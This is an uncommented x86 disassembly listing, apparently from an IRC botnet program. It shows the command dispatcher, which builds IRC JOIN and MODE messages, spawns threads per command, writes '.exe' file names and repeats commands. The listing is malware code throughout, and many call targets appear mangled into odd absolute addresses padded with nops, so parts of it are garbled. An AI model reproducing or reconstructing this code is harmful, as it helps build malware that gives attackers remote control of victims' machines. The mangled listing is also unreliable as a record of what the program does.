call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset loc_410DAB
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A864
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
nop
call near ptr 26C04BFh
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7E8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset byte_41561D
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A780
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset dword_414358
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A718
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset byte_4135DF
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
call near ptr 26C04BFh
nop
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
call near ptr 26C04BFh
nop
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
nop
call near ptr 26C0CC8h
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A648
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset byte_413A29
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
nop
call near ptr 26C04BFh
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
nop
call near ptr 26E0B34h
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B4
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A578
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset dword_417054
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
call near ptr 26C04BFh
nop
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42A53C
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 26A02FDh
nop
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aDarksf ; "Darksf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
call near ptr 26E0000h
nop
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
nop
call near ptr 26C04BFh
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
nop
call near ptr 26C0CC8h
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A440
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 26C04BFh
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A404
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D0
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A39C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset byte_414F57
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
nop
call near ptr 26C04BFh
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A334
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset byte_414703
push ebx
push ebx
call near ptr 26C051Eh
nop
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
nop
call near ptr 26C04BFh
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
nop
call near ptr 26C0CC8h
push eax
push offset dword_42A2F8
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F0
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2DC
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C0
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2B8
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 26C04BFh
nop
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A968
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
